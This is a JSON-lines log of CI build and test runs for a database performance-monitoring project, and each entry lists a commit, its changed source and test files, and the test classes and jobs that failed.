+{"date":"2026-10-01","head_sha":"65416cbea5f61a2b0d098c3d3dedd2b09a54d85b","event":"push","changed_files":["Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/MeasurementContractCensusTests.cs","Darling/Darling.Tests/PerfmonCounterTypeRungTests.cs","Darling/Darling.Tests/PerfmonPerSecondPayloadTests.cs","Darling/Darling.Tests/WebPerfmonPerSecondBehaviourTests.cs","Darling/Darling.Tests/web-perfmon-harness.mjs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Lite.Tests/DeltaSeriesShapingTests.cs","Lite.Tests/McpToolsListBudget/McpPerfmonTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/MeasurementContractCensusTests.cs","Lite.Tests/PerfmonCounterTypeTests.cs","Lite.Tests/PerfmonPerSecondRoundingTests.cs","Lite/Mcp/McpPerfmonTools.cs","Lite/Services/LocalDataService.Perfmon.cs","PerformanceMonitor.Common/DeltaSeriesShaping.cs","PerformanceMonitor.Common/Mcp/TrendPayloads.cs"],"failed_classes":["Darling.Tests.ClipboardTextRetryBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-10-01","head_sha":"a6cdbd8c1e9896c64cc242729e4409e04d96ab8e","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs","Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs","Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Darling/Darling.Tests/DarlingReadsUseOnlyStoreViewsTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite.Tests/AuditConfigEditionTests.cs","Lite.Tests/AzureSqlDatabaseHardwareTests.cs","Lite.Tests/AzureSqlDatabaseHostMathTests.cs","Lite.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/MemoryCollectorsDefinitionTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.Config.cs","Lite/Analysis/DuckDbFactCollector.Resources.cs","Lite/Controls/FinOpsTab.xaml","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Mcp/McpServerInfoTools.cs","Lite/Services/LocalDataService.FinOps.Recommendations.cs","Lite/Services/LocalDataService.FinOps.ServerProperties.cs","Lite/Services/LocalDataService.FinOps.Utilization.cs","Lite/Services/LocalDataService.FinOps.cs","Lite/Services/LocalDataService.Memory.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Services/LocalDataService.ServerInfo.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactCollectorHelpers.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Collectors/MemoryStatsCollector.cs","PerformanceMonitor.Common/CpuAttribution.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs","PerformanceMonitor.PlanAnalysis/ServerContextCard.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs"],"failed_classes":["Darling.Tests.ViewerFinOpsRecommendationsTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"32505f5632b5fcc67e7d10ace30dd74f496c1304","event":"pull_request","changed_files":["Darling/Darling.Tests/ClipboardTextRetryBudgetTests.cs","Lite.Tests/ArchivePreservedStateTablesTests.cs","Lite.Tests/ArchiveResetRestoreByNameTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveWatermarkCacheTests.cs","Lite.Tests/ArchiveWatermarkGreaterOfTests.cs","Lite.Tests/QueryStoreBackfillReadFailureWarningTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/ArchiveWatermarkCache.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Ui/ClipboardText.cs"],"failed_classes":["PerformanceMonitorLite.Tests.ArchiveWatermarkGreaterOfTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-01","head_sha":"aaa855bb1f888df3f9f0218aa873a903fb117d26","event":"pull_request","changed_files":["Darling/Darling.Tests/ClipboardTextRetryBudgetTests.cs","Lite.Tests/ArchivePreservedStateTablesTests.cs","Lite.Tests/ArchiveResetRestoreByNameTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveWatermarkCacheTests.cs","Lite.Tests/ArchiveWatermarkGreaterOfTests.cs","Lite.Tests/QueryStoreBackfillReadFailureWarningTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/PreservedTableRestore.cs","Lite/Services/ArchiveService.cs","Lite/Services/ArchiveWatermarkCache.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Ui/ClipboardText.cs"],"failed_classes":["Darling.Tests.SingleFlightTtlCacheTests","PerformanceMonitorLite.Tests.ArchiveResetRestoresStateTests","PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["build","Lite tests (0)","Lite tests (2)"]}
+{"date":"2026-10-01","head_sha":"6fae165d3ecca4418d3b8e7ff9b3ab252239ef64","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs","Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs","Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Darling/Darling.Tests/DarlingReadsUseOnlyStoreViewsTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/Darling.Tests/ViewerAzureSqlDatabaseCallSiteTests.cs","Darling/Darling.Tests/ViewerFinOpsRecommendationsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite.Tests/AuditConfigEditionTests.cs","Lite.Tests/AzureSqlDatabaseCallSiteTests.cs","Lite.Tests/AzureSqlDatabaseHardwareTests.cs","Lite.Tests/AzureSqlDatabaseHostMathTests.cs","Lite.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/MemoryCollectorsDefinitionTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.Config.cs","Lite/Analysis/DuckDbFactCollector.Resources.cs","Lite/Controls/FinOpsTab.xaml","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Mcp/McpServerInfoTools.cs","Lite/Services/LocalDataService.FinOps.Recommendations.cs","Lite/Services/LocalDataService.FinOps.ServerProperties.cs","Lite/Services/LocalDataService.FinOps.Utilization.cs","Lite/Services/LocalDataService.FinOps.cs","Lite/Services/LocalDataService.Memory.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Services/LocalDataService.ServerInfo.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactCollectorHelpers.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Collectors/MemoryStatsCollector.cs","PerformanceMonitor.Common/CpuAttribution.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs","PerformanceMonitor.PlanAnalysis/ServerContextCard.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-10-01","head_sha":"5a9f598d9240f7222846ce6a7c89dd0055b7f085","event":"pull_request","changed_files":["Lite.Tests/ArchiveResetExportTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveResetRetryClockStepTests.cs","Lite.Tests/ArchiveViewRefreshAfterDeleteTests.cs","Lite.Tests/MuteRuleServiceTests.cs","Lite.Tests/MuteRuleWindowRefusalTests.cs","Lite.Tests/SharedDuckDbFixture.cs","Lite/Analysis/FindingStore.cs","Lite/Controls/AlertsHistoryTab.xaml.cs","Lite/Controls/SnoozeBalloon.xaml.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/PreservedTableRestore.cs","Lite/Helpers/PendingRestoreNotice.cs","Lite/Services/ArchiveService.cs","Lite/Services/DuckDbMuteRuleStore.cs","Lite/Services/LocalDataService.AlertHistory.cs","Lite/Services/LocalDataService.ServerTags.cs","Lite/Windows/ManageMuteRulesWindow.xaml.cs"],"failed_classes":["Lite.Tests.MuteRuleWindowRefusalTests","PerformanceMonitorLite.Tests.MuteRuleServiceTests"],"failed_jobs":["Lite tests (0)","Lite tests (2)"]}
+{"date":"2026-10-01","head_sha":"bd66895a04c5e51c398b9140f3549c1084e3aba1","event":"pull_request","changed_files":["Darling/Darling.Tests/DatabaseFileGrowthReadTests.cs","Lite.Tests/FileGrowthReadTests.cs"],"failed_classes":["Darling.Tests.DatabaseFileGrowthReadTests","Lite.Tests.FileGrowthReadTests"],"failed_jobs":["Darling PG tests (0)","Lite tests (1)","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"9e2a85a6f2fd46284d7fa33dbe015b607e648cff","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureYoungBaselineWaitBarTests.cs","Lite.Tests/AnomalyDetectorTests.cs"],"failed_classes":["Darling.Tests.AzureYoungBaselineWaitBarTests","PerformanceMonitorLite.Tests.AnomalyDetectorTests"],"failed_jobs":["Lite tests (2)","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"4f25bdea23951ac22453eff82607b3eb0cc88753","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AzureMasterScopeTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Lite.Tests/McpPageContractTests.cs","PerformanceMonitor.Alerting/AlertServerSnapshot.cs","PerformanceMonitor.Alerting/AzureMasterScope.cs"],"failed_classes":["Darling.Tests.AlertEngineTests","Darling.Tests.AzureMasterScopeTests","Darling.Tests.DarlingMcpBlockingToolsLivePostgresTests","Darling.Tests.DarlingMcpBlockingToolsSurfaceAndSqlTests","PerformanceMonitorLite.Tests.McpPageContractTests"],"failed_jobs":["build","Darling PG tests (2)","Lite tests (3)","Darling PG tests (0)"]}
+{"date":"2026-10-01","head_sha":"2cbbde7306120aab122458764ba61e13331ba2c1","event":"pull_request","changed_files":["Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/TestDataSeeder.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs"],"failed_classes":["Darling.Tests.NoServiceObjectiveToResizeTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (2)"]}
+{"date":"2026-10-01","head_sha":"376ffbf00b3e347f3c956c8a7f89e33dc0ac293d","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AzureMasterScopeTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Lite.Tests/McpPageContractTests.cs","Lite/MainWindow.AlertEngine.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Services/LocalDataService.Blocking.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/AlertServerSnapshot.cs","PerformanceMonitor.Alerting/AzureMasterScope.cs"],"failed_classes":["PerformanceMonitorLite.Tests.TimeHonestyRungTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-01","head_sha":"558a66c1466a135688c7a0789a128b369538a410","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs","Darling/Darling.Tests/alert-notebook-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-tables.js"],"failed_classes":["Darling.Tests.AlertNotebookTableCatalogTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"0d615203ba66a7d44b66ec32ba5bcf82f9757cb1","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerFinOpsPickerRefreshPinTests.cs","Lite.Tests/FinOpsSizeGridReloadPinTests.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests","Darling.Tests.ViewerFinOpsPickerRefreshPinTests","Lite.Tests.FinOpsSizeGridReloadPinTests"],"failed_jobs":["build","Darling PG tests (2)","Lite tests (0)","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"b36b9747af170930c58b1a3b2574936dcc5203d0","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs","Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Services/LocalDataService.FinOps.Recommendations.cs","Lite/Services/LocalDataService.FinOps.ServerProperties.cs","Lite/Services/LocalDataService.FinOps.Utilization.cs","Lite/Services/LocalDataService.FinOps.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs"],"failed_classes":["Darling.Tests.ServerInventoryFleetMetricsTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (2)"]}
+{"date":"2026-10-01","head_sha":"4afd2c21ab645a06e04cab652ebd43c1525bfb50","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AzureMasterLiveTargetsTests.cs","Darling/Darling.Tests/AzureMasterScopeTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertTemplates.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Lite.Tests/AzureMasterLiteWiringTests.cs","Lite.Tests/McpPageContractTests.cs","Lite/MainWindow.AlertEngine.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Services/LocalDataService.Blocking.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/AlertServerSnapshot.cs","PerformanceMonitor.Alerting/AzureMasterScope.cs"],"failed_classes":["PerformanceMonitorLite.Tests.TimeHonestyRungTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-01","head_sha":"3d01c908b746940e3a3c37badfe31ded8af029c9","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertNotebookRenderClientTests.cs","Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs","Darling/Darling.Tests/alert-notebook-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-tables.js"],"failed_classes":["Darling.Tests.AlertNotebookTableCatalogTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"d33e310c66b4dac2d0fdd59b781459cdd46f6f3b","event":"pull_request","changed_files":["Darling/Darling.Tests/DeadlocksTelemetryCursorTests.cs","Lite.Tests/DeadlocksTelemetryCursorLiteTests.cs"],"failed_classes":["Darling.Tests.DeadlocksTelemetryCursorTests","Lite.Tests.DeadlocksTelemetryCursorLiteTests"],"failed_jobs":["Darling PG tests (1)","Lite tests (0)","build"]}
+{"date":"2026-10-01","head_sha":"332eb85a65c35fa7a4b60994f1424d86e39802b0","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisHistoryGateTests.cs","Lite.Tests/AnalysisDataSpanTests.cs","Lite/Analysis/AnalysisService.cs","PerformanceMonitor.Analysis/AnalysisHistoryGate.cs"],"failed_classes":["Darling.Tests.AnalysisHistoryGateTests","PerformanceMonitorLite.Tests.AnalysisDataSpanTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (3)"]}
+{"date":"2026-10-01","head_sha":"68eb108f1655c4531925e366ccd89621d5466ea7","event":"pull_request","changed_files":["Darling/Darling.Tests/StorageGrowthNoHistoryLiveTests.cs","Lite.Tests/AzureSiblingGrowthTests.cs"],"failed_classes":["Darling.Tests.StorageGrowthNoHistoryLiveTests","Lite.Tests.AzureSiblingGrowthTests"],"failed_jobs":["Lite tests (2)","Darling PG tests (0)"]}
+{"date":"2026-10-01","head_sha":"fdb481b9da70352fb73239167dba2b90ea53c247","event":"pull_request","changed_files":["Lite.Tests/AzureSqlDatabaseNotCollectedSurfaceTests.cs","Lite/Controls/FinOpsTab.xaml","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.ConfigChanges.cs","Lite/Controls/ServerTab.EngineGaps.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.SystemEvents.cs","Lite/Controls/ServerTab.xaml","Lite/Controls/ServerTab.xaml.cs","Lite/Windows/DatabaseStateOverridesWindow.xaml","Lite/Windows/DatabaseStateOverridesWindow.xaml.cs"],"failed_classes":["Darling.Tests.ViewerScopedPaintGuardTests"],"failed_jobs":["build"]}
+{"date":"2026-10-01","head_sha":"495d09d85e2c719e5a512d883316b7882c57de9b","event":"pull_request","changed_files":["Darling/Darling.Tests/RightSizingWindowTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/TestDataSeeder.cs","PerformanceMonitor.Common/RightSizingWindow.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["build","Lite tests (2)","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"1eb31abc6367d36d7f9455136b1cd46a7d84aab2","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AzureMasterAnalysisScopeLiveTests.cs","Darling/Darling.Tests/AzureMasterLiveTargetsTests.cs","Darling/Darling.Tests/AzureMasterScopeTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/DeadlockGraphDatabasesTests.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertTemplates.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Lite.Tests/AzureMasterAnalysisScopeTests.cs","Lite.Tests/AzureMasterLiteWiringTests.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/TimeHonestyRungTests.cs","Lite/MainWindow.AlertEngine.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Services/LocalDataService.Blocking.cs","PerformanceMonitor.Alerting/AlertContextBuilders.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/AlertServerSnapshot.cs","PerformanceMonitor.Alerting/AzureMasterScope.cs","PerformanceMonitor.Analysis/AnalysisContext.cs","PerformanceMonitor.Common/DeadlockGraphDatabases.cs"],"failed_classes":["Darling.Tests.AzureMasterAnalysisScopeLiveTests","PerformanceMonitorLite.Tests.AzureMasterAnalysisScopeTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (0)"]}
+{"date":"2026-10-01","head_sha":"8bc022d66d619ac5333922c1100e8700b7a200e7","event":"pull_request","changed_files":["Darling/Darling.Tests/DatabaseConfigOptimizedLockingTests.cs","Darling/Darling.Tests/OptimizedLockingNoteTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCurrentConfigReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Config.cs","Lite.Tests/OptimizedLockingNoteTests.cs","Lite/Services/LocalDataService.Config.cs","PerformanceMonitor.Common/OptimizedLockingNote.cs"],"failed_classes":["Darling.Tests.DatabaseConfigOptimizedLockingGateTests","Darling.Tests.DatabaseConfigOptimizedLockingLivePostgresTests","Darling.Tests.OptimizedLockingNoteLivePostgresTests","Darling.Tests.OptimizedLockingNoteSurfacePinTests","PerformanceMonitorLite.Tests.OptimizedLockingNoteTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)","Darling PG tests (2)","Lite tests (0)"]}
+{"date":"2026-10-01","head_sha":"950bb7dbbdcbdbeb23cdae6e829ff80c83ab2bb5","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Darling/Darling.Tests/NoServiceObjectiveToResizeTests.cs","Darling/Darling.Tests/ServerInventoryFleetMetricsTests.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Recommendations.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Lite.Tests/AzureSqlDatabaseMasterPinsTests.cs","Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Services/LocalDataService.FinOps.Recommendations.cs","Lite/Services/LocalDataService.FinOps.ServerProperties.cs","Lite/Services/LocalDataService.FinOps.Utilization.cs","Lite/Services/LocalDataService.FinOps.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs"],"failed_classes":["Darling.Tests.DarlingUpgradeInstallTreeWaitTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"de3511050a400d15760045235d9b20f60e50bee5","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertNotebookRenderClientTests.cs","Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs","Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs","Darling/Darling.Tests/ViewTemplateLiteralReader.cs","Darling/Darling.Tests/ViewTemplatesTests.cs","Darling/Darling.Tests/alert-notebook-harness.mjs","Darling/Darling.Tests/read-fields-resolve-harness.mjs","Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-fields.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js"],"failed_classes":["Darling.Tests.AlertNotebookTableCatalogTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"bca273d76ed26dbed1b1f2bd4025d22fa7a821b2","event":"pull_request","changed_files":["Darling/Darling.Tests/DeadlockDuplicateCleanupLiveTests.cs","Darling/Darling.Tests/DeadlockStoredIdentityTests.cs","Darling/Darling.Tests/DeadlocksTelemetryCursorStateLiveTests.cs","Darling/Darling.Tests/DeadlocksTelemetryCursorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DeadlockDuplicateCleanup.cs","Lite.Tests/ArchiveViewDedupTests.cs","Lite.Tests/AzureDeadlockTelemetryTests.cs","Lite.Tests/DeadlockDuplicateCleanupTests.cs","Lite.Tests/DeadlockStoredIdentityTests.cs","Lite.Tests/DeadlocksTelemetryCursorLiteTests.cs","Lite.Tests/XeShredGateTests.cs","Lite/Database/DeadlockDuplicateCleanup.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/DeadlocksCollector.cs","PerformanceMonitor.Collectors/IStoredIdentityDedupedCollector.cs"],"failed_classes":["Darling.Tests.DeadlockDuplicateCleanupLiveTests","Darling.Tests.DeadlockStoredIdentityTests","Darling.Tests.TsqlConventionGuardTests","Lite.Tests.DeadlockStoredIdentityTests","PerformanceMonitorLite.Tests.ArchiveViewDedupTests","PerformanceMonitorLite.Tests.DeadlockDuplicateCleanupTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (2)","Lite tests (3)"]}
